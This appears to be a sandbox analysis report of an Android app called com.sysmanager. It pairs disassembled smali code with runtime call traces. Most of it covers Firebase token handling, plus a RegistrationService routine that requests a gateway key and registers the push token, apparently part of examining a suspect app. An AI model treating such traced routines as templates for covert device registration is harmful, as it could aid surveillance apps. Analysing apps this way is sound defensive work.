27invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
28move-result v1
29if-eqz v1, :cond_8
30const/4 v0, 0x0
31goto/16 :goto_8
32sswitch_2d:
33const-string v1, "com.google.firebase.MESSAGING_EVENT"
35invoke-virtual {p2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
36move-result v1
37if-eqz v1, :cond_8
38const/4 v0, 0x1
39goto/16 :goto_8
40pswitch_37:
41iget-object v0, p0, Lcom/google/firebase/iid/zzg;->zzclD:Ljava/util/Queue;
43invoke-interface {v0, p3}, Ljava/util/Queue;->offer(Ljava/lang/Object;)Z
44goto_3c: new-instance v0, Landroid/content/Intent;
46invoke-direct {v0, p2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
48invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
  • Time: 200858
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager
49move-result-object v1
51invoke-virtual {v0, v1}, Landroid/content/Intent;->setPackage(Ljava/lang/String;)Landroid/content/Intent;
53invoke-direct {p0, p1, v0}, Lcom/google/firebase/iid/zzg;->zzg(Landroid/content/Context;Landroid/content/Intent;)I
54move-result v0
55goto/16 :goto_22
56pswitch_4d:
57iget-object v0, p0, Lcom/google/firebase/iid/zzg;->zzclE:Ljava/util/Queue;
59invoke-interface {v0, p3}, Ljava/util/Queue;->offer(Ljava/lang/Object;)Z
60goto/16 :goto_3c
61cond_53: new-instance v0, Ljava/lang/String;
63invoke-direct {v0, v2}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
64goto/16 :goto_1d
65nop
Cross References
APIs
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.createNewFile
  • com.google.firebase.iid.zzh.isEmpty
  • android.util.Log.i
  • android.util.Log.isLoggable
  • java.io.IOException.getMessage
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.concat
  • android.util.Log.d
  • java.lang.String.<init>
Strings
  • InstanceID/Store
  • App restored, clearing state
  • Error creating file in no backup dir:
Position Instruction Meta Information
1iget-object v0, p0, Lcom/google/firebase/iid/zzh;->zzqn:Landroid/content/Context;
3invoke-static {v0}, Lcom/google/android/gms/common/util/zzx;->getNoBackupFilesDir(Landroid/content/Context;)Ljava/io/File;
4move-result-object v0
5new-instance v1, Ljava/io/File;
7invoke-direct {v1, v0, p1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
9invoke-virtual {v1}, Ljava/io/File;->exists()Z
  • Time: 200716
    • This:
      • /data/data/com.sysmanager/no_backup/com.google.android.gms.appid-no-backup
    • Return:
      • false
10move-result v0
11if-eqz v0, :cond_12
12cond_11: return-void
13try_start_12:
14invoke-virtual {v1}, Ljava/io/File;->createNewFile()Z
15move-result v0
16if-eqz v0, :cond_11
18invoke-virtual {p0}, Lcom/google/firebase/iid/zzh;->isEmpty()Z
  • Time: 200719
    • This:
      • com.google.firebase.iid.zzh@fc34574
    • Return:
      • true
19move-result v0
20if-nez v0, :cond_11
22const-string v0, "InstanceID/Store"
24const-string v1, "App restored, clearing state"
26invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
28iget-object v0, p0, Lcom/google/firebase/iid/zzh;->zzqn:Landroid/content/Context;
30invoke-static {v0, p0}, Lcom/google/firebase/iid/FirebaseInstanceId;->zza(Landroid/content/Context;Lcom/google/firebase/iid/zzh;)V
31try_end_2a: goto/16 :goto_11
32catch_2b: move-exception v0
34const-string v1, "InstanceID/Store"
35const/4 v2, 0x3
37invoke-static {v1, v2}, Landroid/util/Log;->isLoggable(Ljava/lang/String;I)Z
38move-result v1
39if-eqz v1, :cond_11
41const-string v1, "InstanceID/Store"
43const-string v2, "Error creating file in no backup dir: "
45invoke-virtual {v0}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
46move-result-object v0
48invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
49move-result-object v0
51invoke-virtual {v0}, Ljava/lang/String;->length()I
52move-result v3
53if-eqz v3, :cond_4f
55invoke-virtual {v2, v0}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
56move-result-object v0
57goto_4b:
58invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
59goto/16 :goto_11
60cond_4f: new-instance v0, Ljava/lang/String;
62invoke-direct {v0, v2}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
63goto/16 :goto_4b
APIs
  • com.sysmanager.system.RegistrationService.requestGWKey
  • java.lang.String.isEmpty
  • com.sysmanager.system.RegistrationService.registerToken
  • com.sysmanager.system.RegistrationService.access$000
  • com.sysmanager.system.RegistrationService.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.system.RegistrationService.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.system.RegistrationService.access$100
  • com.sysmanager.system.RegistrationService.access$000
Strings
  • col01
  • col02
Position Instruction Meta Information
0.prologue
2iget-object v2, p0, Lcom/sysmanager/system/RegistrationService$1;->this$0:Lcom/sysmanager/system/RegistrationService;
4invoke-virtual {v2}, Lcom/sysmanager/system/RegistrationService;->requestGWKey()Ljava/lang/String;
5move-result-object v1
7invoke-virtual {v1}, Ljava/lang/String;->isEmpty()Z
8move-result v2
9if-nez v2, :cond_47
11invoke-static {}, Lcom/google/firebase/iid/FirebaseInstanceId;->getInstance()Lcom/google/firebase/iid/FirebaseInstanceId;
12move-result-object v2
14invoke-virtual {v2}, Lcom/google/firebase/iid/FirebaseInstanceId;->getToken()Ljava/lang/String;
15move-result-object v0
17iget-object v2, p0, Lcom/sysmanager/system/RegistrationService$1;->this$0:Lcom/sysmanager/system/RegistrationService;
19invoke-virtual {v2, v0}, Lcom/sysmanager/system/RegistrationService;->registerToken(Ljava/lang/String;)Z
20move-result v2
21if-nez v2, :cond_22
23iget-object v2, p0, Lcom/sysmanager/system/RegistrationService$1;->this$0:Lcom/sysmanager/system/RegistrationService;
25invoke-static {v2}, Lcom/sysmanager/system/RegistrationService;->access$000(Lcom/sysmanager/system/RegistrationService;)V
26goto_21: return-void
27cond_22:
28iget-object v2, p0, Lcom/sysmanager/system/RegistrationService$1;->this$0:Lcom/sysmanager/system/RegistrationService;
30invoke-virtual {v2}, Lcom/sysmanager/system/RegistrationService;->getApplicationContext()Landroid/content/Context;
31move-result-object v2
33invoke-static {v2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
34move-result-object v2
36const-string v3, "col01"
37const/4 v4, 0x1
39invoke-virtual {v2, v3, v4}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
41iget-object v2, p0, Lcom/sysmanager/system/RegistrationService$1;->this$0:Lcom/sysmanager/system/RegistrationService;
43invoke-virtual {v2}, Lcom/sysmanager/system/RegistrationService;->getApplicationContext()Landroid/content/Context;
44move-result-object v2
46invoke-static {v2}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
47move-result-object v2
49const-string v3, "col02"
51invoke-virtual {v2, v3, v0}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;Ljava/lang/String;)V
53iget-object v2, p0, Lcom/sysmanager/system/RegistrationService$1;->this$0:Lcom/sysmanager/system/RegistrationService;
55invoke-static {v2}, Lcom/sysmanager/system/RegistrationService;->access$100(Lcom/sysmanager/system/RegistrationService;)V
56goto/16 :goto_21
57cond_47:
58iget-object v2, p0, Lcom/sysmanager/system/RegistrationService$1;->this$0:Lcom/sysmanager/system/RegistrationService;
60invoke-static {v2}, Lcom/sysmanager/system/RegistrationService;->access$000(Lcom/sysmanager/system/RegistrationService;)V
61goto/16 :goto_21
APIs
  • android.util.Log.isLoggable
  • android.content.Intent.getStringExtra
  • com.google.firebase.iid.FirebaseInstanceIdService.zzG
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.concat
  • android.util.Log.d
  • com.google.firebase.iid.FirebaseInstanceIdService.zzjw
  • java.lang.String.<init>
Strings
  • FirebaseInstanceId
  • error
  • registration_id
  • Register result in service
Position Instruction Meta Information
1const-string v0, "FirebaseInstanceId"
2const/4 v1, 0x3
4invoke-static {v0, v1}, Landroid/util/Log;->isLoggable(Ljava/lang/String;I)Z
5move-result v0
6iput-boolean v0, p0, Lcom/google/firebase/iid/FirebaseInstanceIdService;->zzclq:Z
8const-string v0, "error"
10invoke-virtual {p1, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Time: 200994
    • This:
      • Intent { act=ACTION_TOKEN_REFRESH_RETRY (has extras) }
    • p0: error
    • Return:
      • null
11move-result-object v0
12if-nez v0, :cond_19
14const-string v0, "registration_id"
16invoke-virtual {p1, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Time: 200995
    • This:
      • Intent { act=ACTION_TOKEN_REFRESH_RETRY (has extras) }
    • p0: registration_id
    • Return:
      • null
17move-result-object v0
18if-eqz v0, :cond_49
19cond_19:
20invoke-direct {p0, p1}, Lcom/google/firebase/iid/FirebaseInstanceIdService;->zzG(Landroid/content/Intent;)Ljava/lang/String;
21move-result-object v1
22iget-boolean v0, p0, Lcom/google/firebase/iid/FirebaseInstanceIdService;->zzclq:Z
23if-eqz v0, :cond_36
25const-string v2, "FirebaseInstanceId"
27const-string v3, "Register result in service "
29invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
30move-result-object v0
32invoke-virtual {v0}, Ljava/lang/String;->length()I
33move-result v4
34if-eqz v4, :cond_43
36invoke-virtual {v3, v0}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
37move-result-object v0
38goto_33:
39invoke-static {v2, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
40cond_36:
41invoke-direct {p0, v1}, Lcom/google/firebase/iid/FirebaseInstanceIdService;->zzjw(Ljava/lang/String;)Lcom/google/firebase/iid/zzd;
42move-result-object v0
44invoke-virtual {v0}, Lcom/google/firebase/iid/zzd;->zzabR()Lcom/google/firebase/iid/zzf;
45move-result-object v0
47invoke-virtual {v0, p1}, Lcom/google/firebase/iid/zzf;->zzs(Landroid/content/Intent;)V
48const/4 v0, 0x1
49goto_42: return v0
50cond_43: new-instance v0, Ljava/lang/String;
52invoke-direct {v0, v3}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
53goto/16 :goto_33
54cond_49: const/4 v0, 0x0
55goto/16 :goto_42
Cross References
APIs
  • android.content.Context.getPackageManager
  • com.sysmanager.Scontext.getPackageName
  • android.content.pm.PackageManager.getPackageInfo
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.w
Strings
  • com.sysmanager
  • FirebaseInstanceId
  • Never happens: can\'t find own package
Position Instruction Meta Information
0try_start_0:
1invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
2move-result-object v0
4invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
  • Time: 201717
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager
5move-result-object v1
6const/4 v2, 0x0
8invoke-virtual {v0, v1, v2}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
9move-result-object v0
11iget-object v0, v0, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
12goto_f: return-object v0
13catch_10: move-exception v0
15const-string v1, "FirebaseInstanceId"
17invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
18move-result-object v0
20invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
21move-result-object v2
23invoke-virtual {v2}, Ljava/lang/String;->length()I
24move-result v2
25add-int/lit8 v2, v2, 0x26
26new-instance v3, Ljava/lang/StringBuilder;
28invoke-direct {v3, v2}, Ljava/lang/StringBuilder;-><init>(I)V
30const-string v2, "Never happens: can\'t find own package "
32invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33move-result-object v2
35invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
36move-result-object v0
38invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
39move-result-object v0
41invoke-static {v1, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
42const/4 v0, 0x0
43goto/16 :goto_f
Cross References
APIs
  • android.support.v4.util.SimpleArrayMap.size
  • android.support.v4.util.SimpleArrayMap.valueAt
  • com.google.firebase.iid.zzf.zza.onError
  • android.support.v4.util.SimpleArrayMap.clear
  • android.support.v4.util.SimpleArrayMap.remove
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.concat
  • android.util.Log.w
  • java.lang.String.<init>
Strings
  • SERVICE_NOT_AVAILABLE
  • InstanceID/Rpc
  • Missing callback for
Position Instruction Meta Information
1iget-object v2, p0, Lcom/google/firebase/iid/zzf;->zzclw:Landroid/support/v4/util/SimpleArrayMap;
2monitor-enter v2
3if-nez p1, :cond_25
4const/4 v0, 0x0
5move v1, v0
6goto_7:
7iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzclw:Landroid/support/v4/util/SimpleArrayMap;
9invoke-virtual {v0}, Landroid/support/v4/util/SimpleArrayMap;->size()I
10move-result v0
11if-ge v1, v0, :cond_1e
13iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzclw:Landroid/support/v4/util/SimpleArrayMap;
15invoke-virtual {v0, v1}, Landroid/support/v4/util/SimpleArrayMap;->valueAt(I)Ljava/lang/Object;
16move-result-object v0
17check-cast v0, Lcom/google/firebase/iid/zzf$zzb;
19invoke-interface {v0, p2}, Lcom/google/firebase/iid/zzf$zzb;->onError(Ljava/lang/String;)V
  • Time: 203782
    • This:
      • com.google.firebase.iid.zzf$zza@3e902285
    • p0: SERVICE_NOT_AVAILABLE
    • Return:
      • null
20add-int/lit8 v0, v1, 0x1
21move v1, v0
22goto/16 :goto_7
23cond_1e:
24iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzclw:Landroid/support/v4/util/SimpleArrayMap;
26invoke-virtual {v0}, Landroid/support/v4/util/SimpleArrayMap;->clear()V
27goto_23: monitor-exit v2
28goto_24: return-void
29cond_25:
30iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzclw:Landroid/support/v4/util/SimpleArrayMap;
32invoke-virtual {v0, p1}, Landroid/support/v4/util/SimpleArrayMap;->remove(Ljava/lang/Object;)Ljava/lang/Object;
33move-result-object v0
34check-cast v0, Lcom/google/firebase/iid/zzf$zzb;
35if-nez v0, :cond_4f
37const-string v1, "InstanceID/Rpc"
39const-string v3, "Missing callback for "
41invoke-static {p1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
42move-result-object v0
44invoke-virtual {v0}, Ljava/lang/String;->length()I
45move-result v4
46if-eqz v4, :cond_49
48invoke-virtual {v3, v0}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
49move-result-object v0
50goto_41:
51invoke-static {v1, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
52monitor-exit v2
53goto/16 :goto_24
54catchall_46: move-exception v0
55monitor-exit v2
56try_end_48: throw v0
57try_start_49: new-instance v0, Ljava/lang/String;
59invoke-direct {v0, v3}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
60goto/16 :goto_41
61cond_4f:
62invoke-interface {v0, p2}, Lcom/google/firebase/iid/zzf$zzb;->onError(Ljava/lang/String;)V
63try_end_52: goto/16 :goto_23
Cross References
APIs
  • android.content.Context.getPackageManager
  • android.content.pm.PackageManager.getPackageInfo
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.w
Strings
  • com.sysmanager
  • FirebaseInstanceId
  • Failed to find package
Position Instruction Meta Information
0const/4 v0, 0x0
1try_start_1:
2invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
3move-result-object v1
4const/4 v2, 0x0
6invoke-virtual {v1, p1, v2}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
  • Time: 200746
    • This:
      • android.app.ApplicationPackageManager@1e235b12
    • packageName: com.sysmanager
    • flags: 0
    • Return:
      • PackageInfo{1cb972e3 com.sysmanager}
7move-result-object v1
8iget v0, v1, Landroid/content/pm/PackageInfo;->versionCode:I
9goto_c: return v0
10catch_d: move-exception v1
12const-string v2, "FirebaseInstanceId"
14invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
15move-result-object v1
17invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
18move-result-object v3
20invoke-virtual {v3}, Ljava/lang/String;->length()I
21move-result v3
22add-int/lit8 v3, v3, 0x17
23new-instance v4, Ljava/lang/StringBuilder;
25invoke-direct {v4, v3}, Ljava/lang/StringBuilder;-><init>(I)V
27const-string v3, "Failed to find package "
29invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
30move-result-object v3
32invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33move-result-object v1
35invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
36move-result-object v1
38invoke-static {v2, v1}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
39goto/16 :goto_c
APIs
  • android.content.Intent.getParcelableExtra
  • android.util.Log.e
  • com.google.android.gms.common.util.zzt.zzzq
  • android.content.Intent.getAction
  • com.google.firebase.iid.FirebaseInstanceIdInternalReceiver.zzK
  • com.google.firebase.iid.FirebaseInstanceIdInternalReceiver.goAsync
Strings
  • wrapped_intent
  • FirebaseInstanceId
  • Missing or invalid wrapped intent
  • REL
  • com.google.firebase.INSTANCE_ID_EVENT
Position Instruction Meta Information
0if-nez p2, :cond_3
1goto_2: return-void
2cond_3:
3const-string v0, "wrapped_intent"
5invoke-virtual {p2, v0}, Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;
6move-result-object v0
7instance-of v1, v0, Landroid/content/Intent;
8if-nez v1, :cond_15
10const-string v0, "FirebaseInstanceId"
12const-string v1, "Missing or invalid wrapped intent"
14invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
15goto/16 :goto_2
16cond_15: check-cast v0, Landroid/content/Intent;
18invoke-static {}, Lcom/google/android/gms/common/util/zzt;->zzzq()Z
  • Time: 213815
    • Return:
      • REL
  • Time: 213817
    • Return:
      • false
19move-result v1
20if-eqz v1, :cond_2d
22invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
23move-result-object v1
25invoke-direct {p0, p1, v1}, Lcom/google/firebase/iid/FirebaseInstanceIdInternalReceiver;->zzK(Landroid/content/Context;Ljava/lang/String;)Lcom/google/firebase/iid/zzb$zzb;
26move-result-object v1
28invoke-virtual {p0}, Lcom/google/firebase/iid/FirebaseInstanceIdInternalReceiver;->goAsync()Landroid/content/BroadcastReceiver$PendingResult;
29move-result-object v2
31invoke-virtual {v1, v0, v2}, Lcom/google/firebase/iid/zzb$zzb;->zzb(Landroid/content/Intent;Landroid/content/BroadcastReceiver$PendingResult;)V
32goto/16 :goto_2
33cond_2d:
34invoke-static {}, Lcom/google/firebase/iid/zzg;->zzabU()Lcom/google/firebase/iid/zzg;
35move-result-object v1
37invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 213826
    • This:
      • Intent { act=com.google.firebase.INSTANCE_ID_EVENT flg=0x14 cmp=com.sysmanager/com.google.firebase.iid.FirebaseInstanceIdInternalReceiver (has extras) }
    • Return:
      • com.google.firebase.INSTANCE_ID_EVENT
38move-result-object v2
40invoke-virtual {v1, p1, v2, v0}, Lcom/google/firebase/iid/zzg;->zzb(Landroid/content/Context;Ljava/lang/String;Landroid/content/Intent;)I
41goto/16 :goto_2
Cross References
APIs
  • android.os.Process.myUid
  • android.content.Context.getPackageManager
  • com.google.android.gms.common.util.zzt.zzzq
  • android.util.Log.w
Strings
  • REL
  • InstanceID/Rpc
  • Failed to resolve IID implementation package, falling back
  • com.google.android.gms
  • com.google.android.gsf
  • Google Play services is missing, unable to get tokens
Position Instruction Meta Information
1sget-object v0, Lcom/google/firebase/iid/zzf;->zzbhQ:Ljava/lang/String;
2if-eqz v0, :cond_7
4sget-object v0, Lcom/google/firebase/iid/zzf;->zzbhQ:Ljava/lang/String;
5goto_6: return-object v0
6cond_7:
7invoke-static {}, Landroid/os/Process;->myUid()I
8move-result v0
9sput v0, Lcom/google/firebase/iid/zzf;->zzbhS:I
11invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
12move-result-object v0
14invoke-static {}, Lcom/google/android/gms/common/util/zzt;->zzzq()Z
  • Time: 200798
    • Return:
      • REL
  • Time: 200834
    • Return:
      • false
15move-result v1
16if-eqz v1, :cond_26
18invoke-static {v0}, Lcom/google/firebase/iid/zzf;->zzb(Landroid/content/pm/PackageManager;)Z
19move-result v1
20if-nez v1, :cond_23
22invoke-static {v0}, Lcom/google/firebase/iid/zzf;->zza(Landroid/content/pm/PackageManager;)Z
23move-result v1
24if-eqz v1, :cond_35
25cond_23:
26sget-object v0, Lcom/google/firebase/iid/zzf;->zzbhQ:Ljava/lang/String;
27goto/16 :goto_6
28cond_26:
29invoke-static {v0}, Lcom/google/firebase/iid/zzf;->zza(Landroid/content/pm/PackageManager;)Z
30move-result v1
31if-nez v1, :cond_32
33invoke-static {v0}, Lcom/google/firebase/iid/zzf;->zzb(Landroid/content/pm/PackageManager;)Z
34move-result v1
35if-eqz v1, :cond_35
36cond_32:
37sget-object v0, Lcom/google/firebase/iid/zzf;->zzbhQ:Ljava/lang/String;
38goto/16 :goto_6
39cond_35:
40const-string v1, "InstanceID/Rpc"
42const-string v2, "Failed to resolve IID implementation package, falling back"
44invoke-static {v1, v2}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
46const-string v1, "com.google.android.gms"
48invoke-static {v0, v1}, Lcom/google/firebase/iid/zzf;->zzb(Landroid/content/pm/PackageManager;Ljava/lang/String;)Z
49move-result v1
50if-eqz v1, :cond_4d
52invoke-static {}, Lcom/google/android/gms/common/util/zzt;->zzzq()Z
53move-result v0
54sput-boolean v0, Lcom/google/firebase/iid/zzf;->zzbhR:Z
56sget-object v0, Lcom/google/firebase/iid/zzf;->zzbhQ:Ljava/lang/String;
57goto/16 :goto_6
58cond_4d: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
59const/16 v2, 0x15
60if-ge v1, v2, :cond_61
62const-string v1, "com.google.android.gsf"
64invoke-static {v0, v1}, Lcom/google/firebase/iid/zzf;->zzb(Landroid/content/pm/PackageManager;Ljava/lang/String;)Z
65move-result v0
66if-eqz v0, :cond_61
67const/4 v0, 0x0
68sput-boolean v0, Lcom/google/firebase/iid/zzf;->zzbhR:Z
70sget-object v0, Lcom/google/firebase/iid/zzf;->zzbhQ:Ljava/lang/String;
71goto/16 :goto_6
72cond_61:
73const-string v0, "InstanceID/Rpc"
75const-string v1, "Google Play services is missing, unable to get tokens"
77invoke-static {v0, v1}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
78const/4 v0, 0x0
79goto/16 :goto_6
Cross References
APIs
  • android.os.Looper.getMainLooper
  • android.os.Looper.myLooper
  • java.io.IOException.<init>
  • android.os.Bundle.<init>
  • android.os.Bundle.getString
  • java.lang.String.equals
Strings
  • MAIN_THREAD
  • ttl
  • jwt
  • type
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/IOException;
3}
4.end annotation
6invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
7move-result-object v0
9invoke-static {}, Landroid/os/Looper;->myLooper()Landroid/os/Looper;
10move-result-object v1
11if-ne v0, v1, :cond_12
12new-instance v0, Ljava/io/IOException;
14const-string v1, "MAIN_THREAD"
16invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
17throw v0
18cond_12: if-nez p3, :cond_19
19new-instance p3, Landroid/os/Bundle;
21invoke-direct {p3}, Landroid/os/Bundle;-><init>()V
22cond_19: const/4 v0, 0x1
24const-string v1, "ttl"
26invoke-virtual {p3, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 201040
    • This:
      • Bundle[{gmp_app_id=1:108944492905:android:ece3927e9687a726}]
    • p0: ttl
    • Return:
      • null
27move-result-object v1
28if-nez v1, :cond_30
30const-string v1, "jwt"
32const-string v2, "type"
34invoke-virtual {p3, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 201050
    • This:
      • Bundle[{gmp_app_id=1:108944492905:android:ece3927e9687a726}]
    • p0: type
    • Return:
      • null
35move-result-object v2
37invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
38move-result v1
39if-eqz v1, :cond_45
40cond_30: const/4 v0, 0x0
41cond_31:
42invoke-virtual {p0, p1, p2, p3}, Lcom/google/firebase/iid/zzd;->zzc(Ljava/lang/String;Ljava/lang/String;Landroid/os/Bundle;)Ljava/lang/String;
43move-result-object v4
44if-eqz v4, :cond_44
45if-eqz v0, :cond_44
47sget-object v0, Lcom/google/firebase/iid/zzd;->zzclt:Lcom/google/firebase/iid/zzh;
49iget-object v1, p0, Lcom/google/firebase/iid/zzd;->zzbhL:Ljava/lang/String;
51sget-object v5, Lcom/google/firebase/iid/zzd;->zzbhN:Ljava/lang/String;
52move-object v2, p1
53move-object v3, p2
55invoke-virtual/range {v0 .. v5}, Lcom/google/firebase/iid/zzh;->zza(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
56cond_44: return-object v4
57cond_45:
58sget-object v1, Lcom/google/firebase/iid/zzd;->zzclt:Lcom/google/firebase/iid/zzh;
60iget-object v2, p0, Lcom/google/firebase/iid/zzd;->zzbhL:Ljava/lang/String;
62invoke-virtual {v1, v2, p1, p2}, Lcom/google/firebase/iid/zzh;->zzu(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lcom/google/firebase/iid/zzh$zza;
63move-result-object v1
64if-eqz v1, :cond_31
66sget-object v2, Lcom/google/firebase/iid/zzd;->zzbhN:Ljava/lang/String;
68invoke-virtual {v1, v2}, Lcom/google/firebase/iid/zzh$zza;->zzjB(Ljava/lang/String;)Z
69move-result v2
70if-nez v2, :cond_31
72iget-object v4, v1, Lcom/google/firebase/iid/zzh$zza;->zzbxT:Ljava/lang/String;
73goto/16 :goto_44
Cross References
APIs
  • android.content.Intent.putExtra
  • android.util.Log.e
  • android.content.Context.startService
  • android.util.Log.d
  • android.util.Log.e
Strings
  • android.support.content.wakelockid
  • power
  • FirebaseInstanceId
  • Error while delivering the message: ServiceIntent not found.
  • Missing wake lock permission, service start may be delayed
  • Error while delivering the message to the serviceIntent
Position Instruction Meta Information
1invoke-direct {p0, p1, p2}, Lcom/google/firebase/iid/zzg;->zze(Landroid/content/Context;Landroid/content/Intent;)V
2try_start_3:
3invoke-direct {p0, p1}, Lcom/google/firebase/iid/zzg;->zzcv(Landroid/content/Context;)Z
4move-result v0
5if-eqz v0, :cond_19
7invoke-static {p1, p2}, Landroid/support/v4/content/WakefulBroadcastReceiver;->startWakefulService(Landroid/content/Context;Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 200922
    • This:
      • Intent { act=com.google.firebase.INSTANCE_ID_EVENT pkg=com.sysmanager }
    • p0: android.support.content.wakelockid
    • p1: 1
    • Return:
      • Intent { act=com.google.firebase.INSTANCE_ID_EVENT pkg=com.sysmanager }
  • Time: 200923
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • p0: Intent { act=com.google.firebase.INSTANCE_ID_EVENT pkg=com.sysmanager }
    • Return:
      • ComponentInfo{com.sysmanager/com.sysmanager.InstanceIDMessage}
  • Time: 200934
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • p0: power
    • Return:
      • android.os.PowerManager@1d1ac509
  • Time: 213871
    • This:
      • Intent { act=com.google.firebase.INSTANCE_ID_EVENT pkg=com.sysmanager }
    • p0: android.support.content.wakelockid
    • p1: 2
    • Return:
      • Intent { act=com.google.firebase.INSTANCE_ID_EVENT pkg=com.sysmanager }
8move-result-object v0
9goto_d: if-nez v0, :cond_30
11const-string v0, "FirebaseInstanceId"
13const-string v1, "Error while delivering the message: ServiceIntent not found."
15invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
16const/16 v0, 0x194
17goto_18: return v0
18cond_19:
19invoke-virtual {p1, p2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
20move-result-object v0
22const-string v1, "FirebaseInstanceId"
24const-string v2, "Missing wake lock permission, service start may be delayed"
